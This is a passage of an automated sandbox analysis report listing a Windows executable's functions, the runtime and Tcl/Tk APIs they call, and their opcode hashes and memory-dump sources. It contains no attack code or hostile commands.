Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 2fd4b9cf4e2c203a215f80a0453bc9b94d2a0e119ef729a2f51343e3c0f92604
Instruction ID: 20db38ed7809fbb960a0fd1a024f07b8b62ca9bb570ee0efe15fd1e5edc95f29
Opcode Fuzzy Hash: 2fd4b9cf4e2c203a215f80a0453bc9b94d2a0e119ef729a2f51343e3c0f92604
Instruction Fuzzy Hash: 0E515921B0964186FF299E259C0A67E6681BF45BB4F188734ED7D877C6CF3CE4218782

Function 00007FF62C10C134 Relevance: 3.0, APIs: 2, Instructions: 46COMMONLIBRARYCODE

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE(?,?,?,?,?,00007FF62C10C2CD), ref: 00007FF62C10C180
GetLastError.KERNEL32(?,?,?,?,?,00007FF62C10C2CD), ref: 00007FF62C10C18A

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 7d52f85de62641260209e8dbb28c5e1251e01e8bf24b4306ce9dcd9badf2c9c6
Instruction ID: 3f47973824e9fa48d61ac8f515102cac9d0dc2d79e34c76bb2c5c3c73f37b923
Opcode Fuzzy Hash: 7d52f85de62641260209e8dbb28c5e1251e01e8bf24b4306ce9dcd9badf2c9c6
Instruction Fuzzy Hash: AD11C471618A8181DE208B29AC59169A361BB46FF4F544331EEBD877D9CE7CD0258742

Function 00007FF62C105924 Relevance: 3.0, APIs: 2, Instructions: 40timeCOMMON

Download Yara Rule

APIs

FileTimeToSystemTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF62C105839), ref: 00007FF62C105957
SystemTimeToTzSpecificLocalTime.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF62C105839), ref: 00007FF62C10596D

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: Time$System$FileLocalSpecific
String ID:
API String ID: 1707611234-0
Opcode ID: 497c6f3b45805196ef8f930e068bad9451f3f50de380bc241881b145e929bf5b
Instruction ID: 27d3a395622cdf5dc4dcc8da4b465a5d3137a53a82e347f72bf959d8797b5173
Opcode Fuzzy Hash: 497c6f3b45805196ef8f930e068bad9451f3f50de380bc241881b145e929bf5b
Instruction Fuzzy Hash: 9111A07260CB5282EF648B18A81653AB7A0FB85B71F500236FA9DC19D8EF6CD064DF01

Function 00007FF62C10A948 Relevance: 3.0, APIs: 2, Instructions: 19memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,?,?,00007FF62C112D22,?,?,?,00007FF62C112D5F,?,?,00000000,00007FF62C113225,?,?,?,00007FF62C113157), ref: 00007FF62C10A95E
GetLastError.KERNEL32(?,?,?,00007FF62C112D22,?,?,?,00007FF62C112D5F,?,?,00000000,00007FF62C113225,?,?,?,00007FF62C113157), ref: 00007FF62C10A968

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 46e6024f15a2f57ad5ff64688e0fe3cec5898f8577aba2f63b046adc8766ef53
Instruction ID: 18369c1a2045dee10bc2ce90c5ad1d520324d253498ed49af54fc09848dc215e
Opcode Fuzzy Hash: 46e6024f15a2f57ad5ff64688e0fe3cec5898f8577aba2f63b046adc8766ef53
Instruction Fuzzy Hash: CCE0CD50F5960243FF056BF55C8F17C12506FD8B61F444030DC0DC72D1DE2C68618312

Function 00007FF62C10AB58 Relevance: 2.6, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?,?,?,00007FF62C10A9D5,?,?,00000000,00007FF62C10AA8A), ref: 00007FF62C10ABC6
GetLastError.KERNEL32(?,?,?,00007FF62C10A9D5,?,?,00000000,00007FF62C10AA8A), ref: 00007FF62C10ABD0

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: CloseErrorHandleLast
String ID:
API String ID: 918212764-0
Opcode ID: ae1e15d82824e1a5fac1c7302ca2ff5641fe0b0e43db7728cd9339717749910c
Instruction ID: e44467442982660bee0f7ba99827ccffcc611e9aefa720807015ca38e68369dc
Opcode Fuzzy Hash: ae1e15d82824e1a5fac1c7302ca2ff5641fe0b0e43db7728cd9339717749910c
Instruction Fuzzy Hash: DE21C311B5C68241FEA497659C9A37D2682AF85BB4F084239DE2EC77D6CEACE4614302

Function 00007FF62C10BEAC Relevance: 1.6, APIs: 1, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF62C10BED4

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 5a303e376ae32d58fd1e52f1ac99a64fdc1cf63549abbe0bdd4da132c2ec767e
Instruction ID: a4ed867bf87904d30e02c5eb1282ea5cbfb8a4aeaac34864db7a2b02f9854bba
Opcode Fuzzy Hash: 5a303e376ae32d58fd1e52f1ac99a64fdc1cf63549abbe0bdd4da132c2ec767e
Instruction Fuzzy Hash: 6741C23291864587EE349B29A94A27D77A0FF55BA0F140131EF8EC36D1DF6CE412CB52

Function 00007FF62C0F7F90 Relevance: 1.6, APIs: 1, Instructions: 85COMMON

Download Yara Rule

APIs

_fread_nolock.LIBCMT ref: 00007FF62C0F803A

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: _fread_nolock
String ID:
API String ID: 840049012-0
Opcode ID: 7026eb3b68f3585a2f5768ea15c5ca7bda34a28a3ae4cdbb6486ed2f903c9d01
Instruction ID: d56928fdee3c987d9d3b57c350c916d8eab6ef25b33b240f49331e8f89baf7e8
Opcode Fuzzy Hash: 7026eb3b68f3585a2f5768ea15c5ca7bda34a28a3ae4cdbb6486ed2f903c9d01
Instruction Fuzzy Hash: 3021E721B186514AFE909B226C053FA9741BF46BE4FD84430EE0C87786CF7EE091C30A

Function 00007FF62C10B93C Relevance: 1.6, APIs: 1, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF62C10B9C2

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 0fe3e981c7cf3185d146a9a4244026f2f164e791e6f92d2a50fd94940550a020
Instruction ID: 9cb15247dac7a13f397976ee6d40729d6faafa5835ea6b1d42d4fbaf85120410
Opcode Fuzzy Hash: 0fe3e981c7cf3185d146a9a4244026f2f164e791e6f92d2a50fd94940550a020
Instruction Fuzzy Hash: CC318162A18A4285FF11AB558C4B37C2A90BF80BB4F424135EE5D873D2EFBCE4618713

Function 00007FF62C109961 Relevance: 1.6, APIs: 1, Instructions: 61COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF62C10998F

Part of subcall function 00007FF62C109A88: GetModuleHandleExW.KERNEL32 ref: 00007FF62C109AAD
Part of subcall function 00007FF62C109A88: GetProcAddress.KERNEL32 ref: 00007FF62C109AC3
Part of subcall function 00007FF62C109A88: FreeLibrary.KERNEL32 ref: 00007FF62C109AEA

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: HandleModule$AddressFreeLibraryProc
String ID:
API String ID: 3947729631-0
Opcode ID: 42808d7c08696a35870eb95595f0ae95ff90971c005bfc8769c42bb91e99b0de
Instruction ID: f8195fba7d6a3d9f75d43c199d8ef3414ad42b3c16e21b38851ddd6e122addb8
Opcode Fuzzy Hash: 42808d7c08696a35870eb95595f0ae95ff90971c005bfc8769c42bb91e99b0de
Instruction Fuzzy Hash: CE21A172E05B4589EF249FA4C89A2EC33A0FB14728F444636DB5C86AD9DF38D554C741

Function 00007FF62C105F94 Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF62C105EF9

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: d0ecc1d4814c8292f6d285d86e9f4332b8d7141ecd04c52723bb65a1ba9d936a
Instruction ID: bdbe6ada64360f091855be2812b099e18cc36867a8fad5b402d1b8833956a7bf
Opcode Fuzzy Hash: d0ecc1d4814c8292f6d285d86e9f4332b8d7141ecd04c52723bb65a1ba9d936a
Instruction Fuzzy Hash: 3F119031A1C64282EE60AF119C0A27DA364BF85BA4F444431FF8CD7A96CF3DE4219706

Function 00007FF62C116354 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF62C116377

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 3765a10cee1e255344ee37f065f4be71d58868c9c9e645b3056c9746d3493235
Instruction ID: 9ef281fe64b46a4ebce0232347a78a9b5675b95fd3416e6abbc1af1c79661d40
Opcode Fuzzy Hash: 3765a10cee1e255344ee37f065f4be71d58868c9c9e645b3056c9746d3493235
Instruction Fuzzy Hash: 8A21B032A18A8186EF618F1CD84637976A0FB94BA4F144234EA5DC76D9DF7DD8118B01

Function 00007FF62C1003BC Relevance: 1.5, APIs: 1, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF62C100410

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 8e9754deeba93abb4745aa2efb451e77357aefa8fb0fbddb16feb6c8c90fdd62
Instruction ID: ed141f50c82a8031c967e7c792f1b6cc904d3698c3d3e6579489e03002e93b41
Opcode Fuzzy Hash: 8e9754deeba93abb4745aa2efb451e77357aefa8fb0fbddb16feb6c8c90fdd62
Instruction Fuzzy Hash: 8B01C421B08B4580EE04DF529D0A0A9A791BF95FF0F488631EE5CD3BD6DE3CD4218345

Function 00007FF62C107EFC Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF62C107F3A

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: eb4e03bbc0b04cbc85d5aa4284f536322b5632f0a5d263bd1b62b358e696f9c3
Instruction ID: 6b4f7db01ce49ee54fd44e3a517c7467e27bc1c98e88ee9a8ca5ad0820b58f3d
Opcode Fuzzy Hash: eb4e03bbc0b04cbc85d5aa4284f536322b5632f0a5d263bd1b62b358e696f9c3
Instruction Fuzzy Hash: 4F019E20E1D68340FEA46B256D4B1795390AF407F4F5446B5EE2CC36C6DF6CE461C243

Function 00007FF62C108238 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF62C108251

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 3541b91b086c77dfe17527b78ee7977ece0d5fdea915d925a3ffaee66e22a6c2
Instruction ID: b3d43ffe6fe4e7b0c0babf657a772f4f5b0e0b8bf9e22f1ef65b48b17b8bd3d3
Opcode Fuzzy Hash: 3541b91b086c77dfe17527b78ee7977ece0d5fdea915d925a3ffaee66e22a6c2
Instruction Fuzzy Hash: 70E01250E5C60787FE563AA84DCB17915205F993A0F504535EE09C62C3DD3C68759633

Function 00007FF62C10EB98 Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(?,?,00000000,00007FF62C10B32A,?,?,?,00007FF62C104F11,?,?,?,?,00007FF62C10A48A), ref: 00007FF62C10EBED

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 0190c006dd090f1dc8136ef035d08a675b61e1fdbed98732a32380f018d60316
Instruction ID: eff9d3abf8d5232ad9977fcb4cb0c331c2c0cecbe3f15fb73027e239cd93ba5e
Opcode Fuzzy Hash: 0190c006dd090f1dc8136ef035d08a675b61e1fdbed98732a32380f018d60316
Instruction Fuzzy Hash: F8F09054B2928780FE59A76B9C5F3B402805F99BB0F4C8530CD4FC63C2EE5CE4A18212

Function 00007FF62C10D5FC Relevance: 1.3, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(?,?,?,00007FF62C100C90,?,?,?,00007FF62C1022FA,?,?,?,?,?,00007FF62C103AE9), ref: 00007FF62C10D63A

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 510c613edcbd96140e332c46b5608733b20d975e117422ad796dc4540c81bb80
Instruction ID: a39ba22ef69299ae5797ac6fb7022814a1b6883c9326e92b67ad90b9cd67a3ad
Opcode Fuzzy Hash: 510c613edcbd96140e332c46b5608733b20d975e117422ad796dc4540c81bb80
Instruction Fuzzy Hash: 9AF08C10F1824380FE653B715C5B2B412904FD4BB0F480730EC2EC62C2EE2EA4A28612

Non-executed Functions

Function 00007FF62C0F76C0 Relevance: 177.1, APIs: 66, Strings: 35, Instructions: 314libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF62C0F76D7
GetLastError.KERNEL32 ref: 00007FF62C0F76E9
GetProcAddress.KERNEL32 ref: 00007FF62C0F7725
GetLastError.KERNEL32 ref: 00007FF62C0F7737
GetProcAddress.KERNEL32 ref: 00007FF62C0F7750
GetLastError.KERNEL32 ref: 00007FF62C0F7762
GetProcAddress.KERNEL32 ref: 00007FF62C0F777B
GetLastError.KERNEL32 ref: 00007FF62C0F778D
GetProcAddress.KERNEL32 ref: 00007FF62C0F77A9
GetLastError.KERNEL32 ref: 00007FF62C0F77BB
GetProcAddress.KERNEL32 ref: 00007FF62C0F77D7
GetLastError.KERNEL32 ref: 00007FF62C0F77E9
GetProcAddress.KERNEL32 ref: 00007FF62C0F7805
GetLastError.KERNEL32 ref: 00007FF62C0F7817
GetProcAddress.KERNEL32 ref: 00007FF62C0F7833
GetLastError.KERNEL32 ref: 00007FF62C0F7845
GetProcAddress.KERNEL32 ref: 00007FF62C0F7861
GetLastError.KERNEL32 ref: 00007FF62C0F7873

Strings

Tcl_NewByteArrayObj, xrefs: 00007FF62C0F7B09, 00007FF62C0F7B2B
Tk_GetNumMainWindows, xrefs: 00007FF62C0F7CA7, 00007FF62C0F7CC9
Tcl_CreateObjCommand, xrefs: 00007FF62C0F7A7F, 00007FF62C0F7AA1
Tcl_GetCurrentThread, xrefs: 00007FF62C0F7857, 00007FF62C0F7879
Tcl_NewStringObj, xrefs: 00007FF62C0F7ADB, 00007FF62C0F7AFD
Tcl_EvalFile, xrefs: 00007FF62C0F7B93, 00007FF62C0F7BB5
Tcl_ThreadAlert, xrefs: 00007FF62C0F79F5, 00007FF62C0F7A17
Tcl_EvalObjv, xrefs: 00007FF62C0F7BEF, 00007FF62C0F7C11
Tcl_SetVar2Ex, xrefs: 00007FF62C0F7B37, 00007FF62C0F7B59
Tcl_MutexFinalize, xrefs: 00007FF62C0F790F, 00007FF62C0F7931
Tcl_MutexLock, xrefs: 00007FF62C0F78B3, 00007FF62C0F78D5
Tcl_JoinThread, xrefs: 00007FF62C0F7885, 00007FF62C0F78A7
Tcl_DeleteInterp, xrefs: 00007FF62C0F77FB, 00007FF62C0F781D
Tcl_ConditionNotify, xrefs: 00007FF62C0F796B, 00007FF62C0F798D
Tcl_DoOneEvent, xrefs: 00007FF62C0F7771, 00007FF62C0F7793
Tcl_EvalEx, xrefs: 00007FF62C0F7BC1, 00007FF62C0F7BE3
Tcl_ConditionWait, xrefs: 00007FF62C0F7999, 00007FF62C0F79BB
Tcl_ConditionFinalize, xrefs: 00007FF62C0F793D, 00007FF62C0F795F
Tcl_Free, xrefs: 00007FF62C0F7C4B, 00007FF62C0F7C6D
Tcl_FindExecutable, xrefs: 00007FF62C0F7746, 00007FF62C0F7768
Tcl_GetString, xrefs: 00007FF62C0F7AAD, 00007FF62C0F7ACF
Tcl_Init, xrefs: 00007FF62C0F76D0, 00007FF62C0F76EF
Tcl_CreateInterp, xrefs: 00007FF62C0F771B, 00007FF62C0F773D
Tcl_FinalizeThread, xrefs: 00007FF62C0F77CD, 00007FF62C0F77EF
Tcl_SetVar2, xrefs: 00007FF62C0F7A51, 00007FF62C0F7A73
Tcl_MutexUnlock, xrefs: 00007FF62C0F78E1, 00007FF62C0F7903
Tcl_Finalize, xrefs: 00007FF62C0F779F, 00007FF62C0F77C1
Tcl_GetVar2, xrefs: 00007FF62C0F7A23, 00007FF62C0F7A45
Tcl_ThreadQueueEvent, xrefs: 00007FF62C0F79C7, 00007FF62C0F79E9
Tcl_GetObjResult, xrefs: 00007FF62C0F7B65, 00007FF62C0F7B87
Failed to get address for %hs, xrefs: 00007FF62C0F76F8
GetProcAddress, xrefs: 00007FF62C0F76FF
Tcl_CreateThread, xrefs: 00007FF62C0F7829, 00007FF62C0F784B
Tk_Init, xrefs: 00007FF62C0F7C79, 00007FF62C0F7C9B
Tcl_Alloc, xrefs: 00007FF62C0F7C1D, 00007FF62C0F7C3F

Memory Dump Source

Source File: 00000000.00000002.2073997997.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000000.00000002.2073965798.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074038376.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074075607.00007FF62C132000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074141788.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: AddressErrorLastProc
